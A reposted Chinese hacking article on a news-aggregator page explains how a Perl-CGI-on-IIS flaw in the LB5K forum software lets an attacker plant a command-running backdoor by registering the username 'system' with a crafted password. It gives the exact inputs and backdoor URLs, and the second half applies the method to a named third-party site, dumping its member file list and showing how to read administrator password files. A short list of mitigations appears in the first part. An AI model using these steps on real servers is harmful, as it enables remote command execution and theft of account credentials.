分享
 
 
 

怎样利用Perl CGI和LB5K的缺陷攻占远程服务器

王朝perl·作者佚名  2006-01-08
窄屏简体版  字體: |||超大  

1.================================

by analysist

http://www.china4lert.org

LB5K可以算是国内最流行的论坛程序了,我以前只发现过一个提升权限的漏洞,比较高的版本基本没有什么安全问题,但是由于前些日子发现了Perl CGI在IIS下的若干问题,也想到了一些事情,今天花了点时间重新看了一下LB5K,结果发现我们完全可以利用这两个漏洞搞一个Perl CGI后门。

测试环境:

平台:Win32

服务器:IIS

支持Perl方式:CGI

LB5K版本:LB5000II v0830

操作步骤:

1.用户注册页面(http://www.notfound.org/lb5000/cgi-bin/register.cgi),输

入下面信息后提交:

用户名:system

密码:@ARGV###(需要输入两次)

邮件地址:thiz@thiz.org

2.后门搞定,我们测试一下:

http://www.notfound.org/lb5000/cgi-bin/members/system.cgi?cd

CGI ErrorThe specified CGI application misbehaved by not returning a

complete set of HTTP headers. The headers it did return are:

C:\Inetpub\lb5000\cgi-bin\members

http://www.notfound.org/lb5000/cgi-bin/members/system.cgi?dir

CGI ErrorThe specified CGI application misbehaved by not returning a

complete set of HTTP headers. The headers it did return are:

C:\Inetpub\lb5000\cgi-bin\members 的目录

2001-10-18 11:23 <DIR> .

2001-10-18 11:23 <DIR> ..

2001-10-18 11:24 162 system.cgi

1 个文件 162 字节

2 个目录 1,615,261,696 可用字节

是不是很酷?这个后门一般是不会有人发现的啦,当然我们假设管理员不看日志!:P

临时解决方法:

1.限制“/cgi-bin/members”只能本地访问,并去掉该目录执行权限

2.将“/cgi-bin/members”改名或移到Web目录外

3.不要使用CGI方式支持Perl,可以暂时改为ISAPI方式

4.过滤特殊的用户名,如“system”,“require”,“rename”等

5.限制密码只能为数字和字母组合

PS:BBS3K以及其它所有类似CGI程序都存在此安全问题,只是攻击方法略有不同。

2.===============================================

http://agebbs.com/bbs/leoboard.cgi

先检测一下

http://agebbs.com/bbs/members/killweb.cgi?

Unrecognized character \xBA at e:\chinadob\bbs\members\killweb.cgi line 1.

哦是。WINNT系统:)

再来去掉一个s

http://agebbs.com/bbs/member/killweb.cgi?

Can't open perl script "e:\chinadob\bbs\member\killweb.cgi": No such file or directory

:PERL执行的CGI程序的哦,这就是漏洞关键

注册system

密码要对

邮箱随便

http://agebbs.com/bbs//members/system.cgi?dir

e:\chinadob 的目录

2001-09-25 13:27 <DIR> .

2001-09-25 13:27 <DIR> ..

2001-09-25 16:49 <DIR> bbs

2001-09-18 23:01 1,183 index.htm

1 个文件 1,183 字节

3 个目录 1,226,543,104 可用字节

利用后门找管理员密码

http://agebbs.com/bbs/members/system.cgi?dir%20bbs\members\

e:\chinadob\bbs\members 的目录

2001-10-24 04:58 <DIR> .

2001-10-24 04:58 <DIR> ..

2001-10-02 23:05 169 ady_chai.cgi

2001-09-25 17:43 169 agebbs.cgi

2001-09-30 10:18 203 alexzhang.cgi

2001-10-22 19:32 239 allan.cgi

2001-09-29 23:50 161 bampw.cgi

2001-10-16 18:10 242 bixueboy.cgi

2001-09-26 00:45 164 blackdog.cgi

2001-10-20 14:44 237 coolrainfly.cgi

2001-10-19 22:28 174 cwilu.cgi

2001-10-13 23:20 205 draculatie.cgi

2001-10-21 21:02 176 forestbird.cgi

2001-09-25 20:01 169 haifeng44.cgi

2001-10-10 21:11 232 happybabycon.cgi

2001-10-21 11:00 248 hell82.cgi

2001-09-25 17:02 165 hucjs.cgi

2001-10-24 04:13 195 huc啸狼.cgi

2001-10-19 19:17 222 hurryday.cgi

2001-09-25 13:34 84 index.html

2001-09-30 19:40 164 jacy.cgi

2001-09-29 21:41 174 jiki.cgi

2001-10-23 19:33 223 jimmyfu.cgi

2001-10-20 21:57 235 jshacker.cgi

2001-10-24 04:58 269 killweb.cgi

2001-10-19 17:28 176 lonewolf.cgi

2001-09-26 12:31 174 mini.cgi

2001-09-30 12:36 165 mixter.cgi

2001-10-22 11:13 293 mjjsony.cgi

2001-09-29 21:41 180 neil.cgi

2001-10-17 11:26 200 niuxiaof.cgi

2001-10-23 21:33 391 pc0516.cgi

2001-10-04 14:34 178 phoenix0684.cgi

2001-10-22 21:38 465 pma.cgi

2001-10-16 20:30 167 poplove.cgi

2001-10-14 19:57 219 prayer.cgi

2001-10-20 18:05 397 priscilla.cgi

2001-09-29 16:56 174 qinyanmylove.cgi

2001-10-23 23:23 318 ranma.cgi

2001-09-30 23:29 412 skyshui.cgi

2001-10-24 04:12 167 system.cgi

2001-10-15 11:54 162 tyun.cgi

2001-10-18 23:55 205 wjk.cgi

2001-10-22 18:24 182 x-sword.cgi

2001-09-29 20:27 168 xiaobao.cgi

2001-10-16 19:32 173 xulinling.cgi

2001-10-23 22:18 272 ycitboycm.cgi

2001-10-17 21:07 218 zaza.cgi

2001-10-04 13:02 172 zerocool.cgi

2001-09-29 21:31 167 zgxx.cgi

2001-10-24 02:25 208 ziye.cgi

2001-10-04 17:32 202 zonhua.cgi

2001-10-22 14:35 179 ⊙⊥●.cgi

2001-10-24 04:07 411 ★可乐∮.cgi

2001-10-24 00:06 460 【人民万岁】.cgi

2001-09-27 14:34 173 九寸钉.cgi

2001-09-25 19:57 167 亮仔.cgi

2001-10-21 16:20 217 仗剑西行.cgi

2001-10-23 22:40 273 令狐冲.cgi

2001-10-20 14:36 170 以德服人.cgi

2001-10-19 19:28 257 会跳舞的豆.cgi

2001-10-09 18:56 201 冰雪浪人.cgi

2001-10-20 19:42 455 凯悦.cgi

2001-10-03 20:11 214 刀巴狼.cgi

2001-10-09 15:12 172 南希.cgi

2001-09-25 19:11 175 南枫.cgi

2001-10-07 05:21 227 南通风速.cgi

2001-10-12 12:14 275 含笑三步颠.cgi

2001-10-19 21:56 250 夏亚.cgi

2001-10-24 00:08 249 天剑神风.cgi

2001-10-01 18:50 232 天地无用1211.cgi

2001-10-01 09:26 188 天空的颜色.cgi

2001-10-13 23:05 241 天赐眼泪.cgi

2001-10-06 21:11 166 天驰翔.cgi

2001-10-20 18:31 174 妞妞.cgi

2001-10-13 15:45 165 封寒月.cgi

2001-10-21 15:54 236 小舞.cgi

2001-10-16 12:14 289 平凡小子.cgi

2001-09-25 17:43 162 废铁.cgi

2001-10-19 14:01 169 弈良.cgi

2001-10-06 12:56 214 影子传说.cgi

2001-10-21 12:38 232 心灵小筑.cgi

2001-10-22 21:49 276 心竹遗痕.cgi

2001-09-25 20:56 172 战无不胜.cgi

2001-09-25 21:16 170 戴冰.cgi

2001-10-14 13:56 178 星愿jiang.cgi

2001-10-03 20:11 215 晔.cgi

2001-10-23 14:50 192 晔风.cgi

2001-09-25 21:34 221 朔风.cgi

2001-10-06 16:40 187 朝若冰.cgi

2001-10-17 00:05 164 木纳.cgi

2001-10-02 17:07 171 梦少白.cgi

2001-09-29 21:01 165 楚州浪子.cgi

2001-10-15 18:40 176 步惊风.cgi

2001-10-07 13:53 239 水蛇郎君.cgi

2001-10-01 15:14 172 沧月水明.cgi

2001-10-07 19:13 163 泪.cgi

2001-09-30 11:19 178 洪浩南.cgi

2001-10-20 14:32 341 流浪.cgi

2001-10-15 19:37 254 浮梦白.cgi

2001-10-09 16:19 175 潇湘神话.cgi

2001-09-25 20:15 173 火→吻←冰.cgi

2001-10-16 10:14 163 灰马.cgi

2001-10-03 12:24 227 爱情黑客.cgi

2001-09-26 13:39 178 狼.cgi

2001-09-26 21:44 223 王琴.cgi

2001-09-25 19:23 165 玫黯鹰.cgi

2001-10-21 04:19 175 珂少.cgi

2001-10-03 16:57 299 盗帅!!!.cgi

2001-10-14 11:14 218 笑尘.cgi

2001-10-22 13:35 169 笨笨.cgi

2001-10-23 14:22 173 紫龙冰使.cgi

2001-10-23 19:11 391 红日.cgi

2001-10-17 19:46 351 红红雨.cgi

2001-10-13 15:38 188 红色战士.cgi

2001-10-19 21:56 221 红蜻蜓.cgi

2001-10-01 15:26 216 绝无神.cgi

2001-10-20 02:40 200 维也纳.cgi

2001-10-10 18:13 228 网客红虾.cgi

2001-10-19 21:07 287 耐火砖.cgi

2001-10-17 00:05 451 超级巨大谜团.cgi

2001-10-02 18:18 167 阿丁.cgi

2001-09-29 21:20 170 阿虎.cgi

2001-10-10 21:16 164 雨梦.cgi

2001-10-23 22:03 337 雪鼠.cgi

2001-10-21 14:27 550 震天雷.cgi

2001-10-14 16:39 234 静虚真人.cgi

2001-10-21 16:18 230 非对称战争.cgi

2001-09-26 20:09 165 音乐.cgi

2001-10-10 21:14 166 颐枫.cgi

2001-10-17 02:47 190 风之恋.cgi

2001-10-10 21:34 387 风蓝.cgi

2

先看一个管理员密码

http://agebbs.com/bbs/members/system.cgi?type%20bbs\members\管理员名字.cgi

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有